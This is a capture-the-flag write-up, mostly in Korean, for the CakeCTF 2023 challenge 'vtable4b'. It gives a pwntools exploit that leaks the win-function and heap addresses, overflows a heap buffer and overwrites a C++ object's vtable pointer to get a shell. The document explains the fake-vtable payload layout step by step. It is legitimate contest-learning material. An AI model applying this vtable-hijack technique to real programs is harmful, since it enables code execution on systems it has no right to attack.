[2023CakeCTF] vtable4b

Exploit code

from pwn import *

#언제 닫힐지 모르는 서버..
p = remote('vtable4b.2023.cakectf.com',9000)

p.recvuntil('<win> = ')
win = int(p.recvuntil('\n').strip(),16)

p.sendlineafter('> ',b'3')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'0x')
base = int(p.recvn(12),16)

p.sendlineafter('> ', b'2')
p.sendlineafter('Message: ',p64(win)+b'A'*0x18+p64(base))
p.interactive()

WriteUp

이 문제는 바이너리가 주어지지 않는다. 다만 nc로 붙여서 실행해 보면 많은 힌트를 얻을 수 있다.

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x5603d347f61a

1. Use cowsay
2. Change message
3. Display heap

대강 보건대 vtable은 이중 포인터 방식으로 동작한다. 즉 단순히 함수의 위치를 가리키기만 해서는 원하는 함수를 실행시킬 수 없다. 정확히 작동시키기 위해서는 함수를 가리키는 위치를 가리키게 해야 한다.

3번을 입력하면 친절하게도 힙의 구조를 설명해준다. 주소는 물론 매 실행마다 바뀐다. 익스플로잇을 하려면 고정 주소가 아니라 실행 시 매핑된 주소를 불러올 수 있어야 할 것이다.

위 스크린샷은 어느 정도 오버플로를 시도한 예이다. 아마 Cowsay의 vtable을 덮어쓸 수 있을 것이고, 그 값은 첫 실행시 주어진 쉘을 실행시키는 함수의 주소를 가리키는 주소를 가리키는 값이여야 할 것이다.

그렇게 하기 위해서 다음과 같은 페이로드를 구상할 수 있다.

  1. shell함수를 가리키는 값
  2. 더미
  3. 더미
  4. 더미
  5. (vtable for Cowsay) 1.을 가리키는 값

그렇게하면 5. -> 1. -> shell 실행 함수(win) 순으로 더블 포인팅되어 실행시킬 수 있을 것이다.

payload = p64(win)+b'A'*0x18+p64(base)

win과 base의 주소는 어떻게 구할 수 있는가? 날아오는 문자열에서 잘 파싱하면 된다.

p.recvuntil('<win> = ')
win = int(p.recvuntil('\n').strip(),16)

win의 경우 대놓고 주어지고

p.sendlineafter('> ',b'3')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'0x')
base = int(p.recvn(12),16)

base(문자열의 시작점)는 조금 더럽게 구했다. 그래도 잘 작동한다.

플래그의 경우는 혹시 몰라서 올려놓진 않는다.